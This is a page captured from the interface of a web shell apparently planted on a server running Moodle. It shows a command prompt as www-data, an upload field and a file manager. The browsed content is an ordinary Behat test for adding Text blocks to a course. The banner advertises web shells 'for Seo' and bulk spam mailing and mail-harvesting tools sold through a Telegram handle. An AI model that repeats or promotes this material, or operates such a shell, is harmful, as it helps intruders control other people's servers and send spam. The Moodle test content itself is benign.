__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block @block_html
Feature: Text blocks in a course
  In order to have one or multiple Text blocks in a course
  As a teacher
  I need to be able to create and change such blocks

  Scenario: Adding Text block in a course
    Given the following "users" exist:
      | username | firstname | lastname | email            |
      | teacher1 | Terry1    | Teacher1 | teacher@example.com  |
      | student1 | Sam1      | Student1 | student1@example.com |
    And the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
    When I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on
    And I add the "Text" block
    And I configure the "(new text block)" block
    And I set the field "Content" to "First block content"
    And I set the field "Text block title" to "First block header"
    And I press "Save changes"
    And I add the "Text" block
    And I configure the "(new text block)" block
    And I set the field "Content" to "Second block content"
    And I set the field "Text block title" to "Second block header"
    And I press "Save changes"
    And I log out
    And I log in as "student1"
    And I am on "Course 1" course homepage
    And I should see "First block content" in the "First block header" "block"
    And I should see "Second block content" in the "Second block header" "block"

Filemanager

Name Type Size Permission Actions
configuring_html_block.feature File 1.7 KB 0777
course_block.feature File 1.52 KB 0777
multiple_instances.feature File 1.76 KB 0777
Filemanager